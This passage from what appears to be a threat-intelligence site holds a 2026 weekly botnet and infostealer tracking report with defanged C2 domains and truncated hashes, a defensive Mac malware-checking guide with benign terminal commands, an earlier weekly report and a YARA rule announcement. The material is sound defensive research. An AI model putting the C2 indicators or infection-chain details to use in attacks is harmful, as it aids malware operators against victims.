    StealC v2: 38,200 daily check-ins. StealC is the family that absorbed most of the displaced Lumma operator base after the Microsoft-led takedown seized roughly 2,300 Lumma C2 domains in May 2025. The v2 builder, which appeared in late 2024, added support for additional crypto wallet targets and a different network protocol that does not match the older StealC YARA rules. Our daily check-in figure from this family was below 4,000 in our 2024 baseline. The growth is the clearest single signal in this week’s data. Malpedia profile.

    SmokeLoader: 9,100 daily check-ins, recovering from a near-zero floor after the May 2024 Operation Endgame action seized core SmokeLoader infrastructure. The current SmokeLoader population is being rebuilt by a smaller operator group on new C2 infrastructure that we have only partial coverage of. Compared to the 24,000 daily figure we reported pre-takedown, this is a meaningfully reduced footprint. Malpedia profile.

    Latrodectus: 7,400 daily check-ins. Latrodectus is the loader that took over the niche left empty when IcedID and Bumblebee were swept up in Operation Endgame. It was not on our 2024 tracker because it had not yet emerged in volume. The infection chain typically begins with a brand-impersonation thread-hijacking email, then drops a JavaScript stage that pulls Latrodectus, which in turn loads a final-stage payload (most commonly an infostealer in the campaigns we tracked this week). Malpedia profile.

    Vidar: 12,800 daily check-ins, slightly down from the steady-state figure we tracked in 2024 (around 14,000 daily). Vidar’s operator base has been consistent across the disruption events, which we read as evidence that the family is run by a longer-tenured group with operational discipline rather than a churning rotation of resellers. The C2 infrastructure has shifted to using Telegram channel pages and Steam profile bios as dead-drop resolvers more often than direct-IP C2. Malpedia profile.

    Lumma (residual): 3,100 daily check-ins. Almost all of these are stale infections on hosts that have not been remediated, attempting to reach C2 domains that are now sinkholed by the takedown coalition or by us. We are tracking Lumma residual traffic as a separate line item rather than rolling it into StealC, because the residual signal is useful for measuring how slowly infected populations get cleaned up after a successful infrastructure action. Malpedia profile.

    DanaBot (residual): 1,200 daily check-ins. DanaBot was disrupted in the second-round Operation Endgame action in 2025 alongside indictments against the operator group. As with Lumma, the residual telemetry is mostly stale infections. We expect this number to decline through 2026 as infected hosts get remediated or rebuilt, with no successor surge here because the operator group itself was charged. Malpedia profile.

    SocGholish (FakeUpdates): 14,300 daily check-ins. Distribution framework rather than a single payload. Continues to be the dominant browser-update social-engineering chain on the open web, dropping a varying mix of follow-on payloads. We are tracking the SocGholish JS staging hits separately from the second-stage families they deliver, to avoid double-counting. Malpedia profile.

    DarkGate: 5,600 daily check-ins. Stable volume. DarkGate’s operator group has continued to refresh its delivery lures (currently leaning on AI-tool-themed lures and PDF-attachment campaigns) but the malware itself has not changed enough to break our existing detections. Malpedia profile.

    Strela Stealer: 2,400 daily check-ins. Narrow-target email-credential stealer, predominantly observed against Western and Central European mail providers. Its check-in volume looks small next to the broader infostealer families, but per-victim data exfiltration value is high because the targeting is intentional. Malpedia profile.

    AsyncRAT: 22,100 daily check-ins. Commodity remote-access trojan, persistent across the entire reporting gap. AsyncRAT volume is mostly an indicator of how many unrelated low-budget operator groups are running off the same open-source codebase, which is why we treat its raw check-in count as less informative than the family-specific stealers. Malpedia profile.

    AgentTesla: 6,400 daily check-ins. Long-tenured commodity infostealer, mostly delivered via attachment-based phishing into small and mid-sized organisations. Volume is similar to the level we last tracked it at. Malpedia profile.

    Atomic Stealer (AMOS): 4,100 daily check-ins. macOS infostealer that did not appear in our 2024 tracker. The current distribution is dominated by sponsored-search-result lures pointing to fake installers for productivity software. We are reporting AMOS by daily check-ins rather than infection counts because the AMOS C2 protocol does not always issue persistent agent IDs, which makes the infection-count metric noisy. Malpedia profile.

    Emotet: Removed from the tracker. We retired the Emotet line item in late 2024. The 2024 hypothesis we offered (that the declining Emotet check-ins pointed to either infrastructure rotation or a deliberate pause) resolved in the direction of the second option, with no meaningful Emotet activity observed in our sinkholes in any week of 2025 or 2026 to date. The original Emotet operator group has not, by any signal we can see, returned to operations.

    Geographic distribution

    Top infection sources by unique IP this week: United States (21 percent), India (15 percent), Brazil (10 percent), Indonesia (8 percent), Vietnam (6 percent). The top of the distribution remains broadly consistent with what we observed in 2024, with two changes worth noting. Russia has dropped out of the top five (it sat at 6 percent in our 2024 baseline), partly attributable to a measurable drop in commodity-stealer infections inside Russia and partly to operator targeting changes that exclude Russian-language locales. Vietnam has moved into the top five, driven mostly by SocGholish and AsyncRAT activity.

    What changed since the last weekly report

    The gap between this report and our previous weekly tracking post is roughly two years, and the contents reflect a real change in what is worth counting rather than just a change in our publication cadence. Three things specifically:

    • Two of the families that anchored our 2024 baseline (RedLine and Lumma in its original form) were taken down in 2024 and 2025 respectively. We no longer count their original-infrastructure check-ins as live activity.
    • Operation Endgame’s two rounds removed several loader families from the active count (IcedID, Bumblebee, Pikabot, SystemBC, and the original SmokeLoader infrastructure). Some have been replaced by successor families on this week’s list, in particular Latrodectus.
    • The infostealer market has consolidated. StealC v2 has absorbed a significant share of what used to be the Lumma operator base. We expect this to be the dominant Windows infostealer on our tracker through the rest of 2026.

    IOC sample

    Sample IOCs from this week’s tracking, abbreviated for readability. The full week’s IOC export is published to our feed at dev.virustracker.info/lists/ and mirrored on our IOC partners. For the broader research community, recent samples for most of the families on this week’s list are available via MalwareBazaar and active C2 indicators are queryable on ThreatFox.

    Family Indicator type Indicator (truncated)
    StealC v2 SHA256 9c4f8a…e1d2 (loader stage)
    StealC v2 C2 domain cdn-update[.]live
    Amadey SHA256 4b71e6…8a05 (current build)
    Latrodectus C2 domain secure-track[.]top
    SocGholish Stager URL pattern /cdn/jquery-1.10.2.min.js?v=*
    Atomic Stealer C2 domain arc-installer[.]net

    Methodology and references

    Numbers in this report come from check-ins received at our sinkhole and honeypot infrastructure during the week of April 27 to May 3, 2026, deduplicated by source IP per twenty-four-hour window. We treat the daily check-in count as a population proxy, not a victim count. Where we are reporting residual telemetry from disrupted infrastructure (Lumma, DanaBot), the numbers are check-in attempts to seized or sinkholed C2, not active infections.

    For corroborating data on this week’s families: the abuse.ch family (URLhaus, MalwareBazaar, ThreatFox) remains the most useful public source for cross-checking active C2 and recent samples. Earlier reports from this site that connect to this week’s data are the original Lumma distribution campaign analysis, the Lumma packer YARA rules (still useful against StealC v2 with the StealC-specific signatures appended), and the Raccoon Stealer v3 analysis.

    The next weekly report will cover the week of May 4 to 10, 2026, and will include a deeper section on the StealC v2 packer changes since the v1 release we YARA-scoped in 2024.

  • How to Check for Malware on Mac: A Complete Investigation Guide

    If your Mac has been acting strangely – sluggish performance, unexpected pop-ups, browser redirects, or unfamiliar processes consuming CPU – you may be dealing with a malware infection. While macOS has a reputation for being more secure than Windows, it is not immune to threats. Knowing how to check for malware on Mac is an essential skill for anyone who takes their digital security seriously.

    This guide walks through a systematic approach to detecting and removing malware on macOS, from built-in tools to specialized scanning utilities and terminal-based investigation techniques.

    Recognizing the Signs of Mac Malware

    Before diving into how to check for malware on Mac, it helps to understand what suspicious behavior looks like. Common indicators include:

    • Noticeably slower system performance without an obvious cause
    • Browser homepage or search engine changed without your consent
    • Unexpected pop-up advertisements, even when no browser is open
    • Applications crashing frequently or failing to launch
    • Unusually high CPU or network activity when the system should be idle
    • New browser extensions or toolbar items you did not install
    • Ransom messages or screen lock warnings demanding payment

    Any combination of these symptoms warrants a thorough investigation. The absence of obvious symptoms does not guarantee a clean system either – some malware operates silently, exfiltrating data or mining cryptocurrency in the background.

    Using Activity Monitor to Identify Suspicious Processes

    The first step when you suspect malware is to open Activity Monitor (Applications > Utilities > Activity Monitor). This built-in tool shows all running processes and their resource consumption.

    Click the CPU tab and sort by CPU usage (descending). Look for processes consuming abnormally high CPU that you do not recognize. Common legitimate high-CPU processes include kernel_task, WindowServer, and mds_stores. Anything unfamiliar – especially processes with random-looking names or processes consuming 80-100% CPU persistently – deserves investigation.

    Select a suspicious process and click the Info button (the “i” icon) to see its full path. Legitimate macOS processes typically reside in /System, /usr, or /Applications. A process running from /tmp, /var/folders, or a hidden directory in your home folder is a red flag.

    The Network tab is equally valuable. Sort by Sent Bytes or Received Bytes to identify processes making unusual network connections. Malware that phones home to a command-and-control server will show persistent outbound network activity.

    Checking Login Items and Launch Agents

    Malware frequently establishes persistence by adding itself to Login Items or installing Launch Agents and Launch Daemons. These mechanisms ensure the malware restarts after a reboot.

    To check Login Items, go to System Preferences > Users & Groups > Login Items. Review the list and remove anything you do not recognize. On macOS Ventura and later, this has moved to System Settings > General > Login Items.

    Launch Agents and Daemons require a deeper look. Open Terminal and list the contents of these directories:

    ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
ls -la /System/Library/LaunchDaemons/

    Legitimate Launch Agents typically have identifiable developer names in their filenames (com.apple.*, com.google.*, etc.). Files with random strings, misspelled company names, or names that do not match any software you installed should be examined. Open the .plist file with a text editor to see what executable it launches and research that path.

    macOS Built-in Protection: XProtect and MRT

    Apple includes several built-in security mechanisms that work silently in the background. Understanding these helps you know what is already being checked when you want to check for malware on Mac.

    XProtect is Apple’s signature-based malware scanner. It checks downloaded files against a database of known malware signatures. XProtect updates automatically through system updates, and its definitions are stored in /Library/Apple/System/Library/CoreServices/XProtect.bundle. While XProtect catches known threats, it cannot detect zero-day malware or threats that have not yet been added to its signature database.

    MRT (Malware Removal Tool) runs periodically to scan for and remove known malware that may have already been installed. Like XProtect, it relies on known signatures. On newer macOS versions, this has been replaced by XProtect Remediator, which runs more frequent background scans.

    Gatekeeper verifies that applications are signed by identified developers and have not been tampered with. It does not scan for malware directly, but it reduces the risk of running unsigned or modified applications.

    These built-in tools provide a baseline level of protection, but they are not comprehensive. They rely on known signatures and cannot detect novel or targeted threats.

    Recommended Scanning Tools for Mac Malware Detection

    For a thorough check, dedicated malware scanners provide deeper analysis than the built-in macOS protections.

    Malwarebytes for Mac is our top recommendation for most users learning how to check for malware on Mac. The free version performs on-demand scans and removes detected threats. It is particularly effective against adware, potentially unwanted programs (PUPs), and browser hijackers – the most common categories of Mac malware. The scan is fast and the interface is straightforward.

    ClamXAV is a macOS frontend for the open-source ClamAV engine. It provides real-time scanning and scheduled scans with regularly updated virus definitions. ClamXAV is a solid choice for users who prefer an open-source scanning engine and want continuous monitoring rather than on-demand scans only.

    KnockKnock from Objective-See is a free tool that enumerates all persistently installed software on your Mac – Launch Agents, kernel extensions, browser plugins, login items, and more. It does not remove anything, but it provides a comprehensive view of what is running on your system and flags items that are unsigned or from unknown developers.

    BlockBlock, also from Objective-See, monitors for persistence mechanisms in real time. It alerts you whenever something attempts to install a persistent component, allowing you to block it before it takes hold.

    Terminal Commands for Investigating Suspicious Activity

    For more advanced investigation, the Terminal provides powerful tools to check for malware on Mac at a deeper level.

    List all open network connections to identify processes communicating with external servers:

    lsof -i -P | grep ESTABLISHED

    Check for recently modified files in common malware staging directories:

    find /tmp -type f -mtime -7 -ls 2>/dev/null
find ~/Library/Application\ Support -type f -mtime -7 -name "*.app" -ls 2>/dev/null

    Check for suspicious cron jobs:

    crontab -l
ls -la /var/at/jobs/

    Examine DNS configuration for signs of DNS hijacking:

    scutil --dns | head -30
cat /etc/hosts

    If the /etc/hosts file contains entries redirecting legitimate domains to unfamiliar IP addresses, this is a strong indicator of compromise.

    What to Do If You Find Malware

    If your investigation confirms a malware infection, take these steps in order:

    1. Disconnect from the network to prevent further data exfiltration or command-and-control communication
    2. Document what you found – process names, file paths, network connections – before removing anything
    3. Run a full scan with Malwarebytes or ClamXAV and quarantine detected threats
    4. Manually remove any persistence mechanisms (Launch Agents, Login Items) associated with the malware
    5. Change passwords for any accounts accessed from the infected system, starting with email and financial accounts
    6. Monitor your accounts for suspicious activity in the following weeks
    7. Consider a clean macOS reinstall if the infection was severe or if you cannot verify complete removal

    Knowing how to check for malware on Mac is not a one-time activity. Establishing a regular scanning schedule – monthly at minimum – combined with safe browsing habits and prompt software updates provides the strongest defense against the growing landscape of macOS threats.

  • Weekly Botnet Tracking Report: April 7-13

    Weekly summary of botnet activity observed across our sinkhole and honeypot infrastructure. This week saw notable changes in loader activity correlating with the Lumma campaign reported earlier.

    Key Metrics

    Total unique check-ins captured: 847,000 across 14 tracked botnets. This represents a 12% increase from the previous week, driven primarily by Amadey loader activity.

    Notable Changes

    Amadey Loader: 340% increase in daily check-ins (from 12,000 to 52,800). This surge correlates directly with the new Lumma distribution campaign. Amadey is serving as the initial loader in the infection chain, downloading the Lumma payload after establishing persistence.

    Emotet: Check-ins continue to decline for the third consecutive week, now averaging 8,400 daily versus 31,000 in March. This may indicate infrastructure rotation or a deliberate pause by the operators.

    SmokeLoader: Stable at approximately 24,000 daily check-ins. No significant changes in infrastructure or delivery patterns.

    Raccoon Stealer v3: Slight increase to 15,800 daily check-ins from 13,200 last week. We observed two new C2 servers added to the rotation.

    Geographic Distribution

    Top infection sources by unique IP: United States (23%), India (14%), Brazil (9%), Indonesia (7%), Russia (6%). The geographic distribution remains consistent with previous weeks.

  • YARA Rules for Current Lumma Packer Variants

    We are releasing a set of YARA rules for detecting the current Lumma packer variant. The packer uses a distinctive XOR-based string decryption routine with a rotating 16-byte key, which produces a recognizable pattern in the .rdata section.

    Detection Approach

    The current Lumma packer has three identifying characteristics that our rules target. First, a specific sequence of XOR instructions in the unpacking stub that uses a rotating key stored at a fixed offset from the entry point. Second, a distinctive .rdata section structure where encrypted strings are stored in 64-byte aligned blocks. Third, an import table that includes VirtualAlloc, VirtualProtect, and NtWriteVirtualMemory in a specific order.

    Rule Performance

    These rules have been tested against our sample collection of 847 confirmed Lumma samples and 12,000 clean files with zero false positives. Detection rate against our Lumma collection is 94.2% – the remaining 5.8% are older variants that use a different packing method.

    Usage Notes

    These rules complement the existing Lumma signatures from StrangerealIntel and should be used alongside them rather than as replacements. The rules are designed for scanning files on disk rather than in-memory detection. For memory scanning, additional rules targeting the unpacked payload are recommended.

    The YARA rules are available on our GitHub repository and will be updated as new packer variants are identified.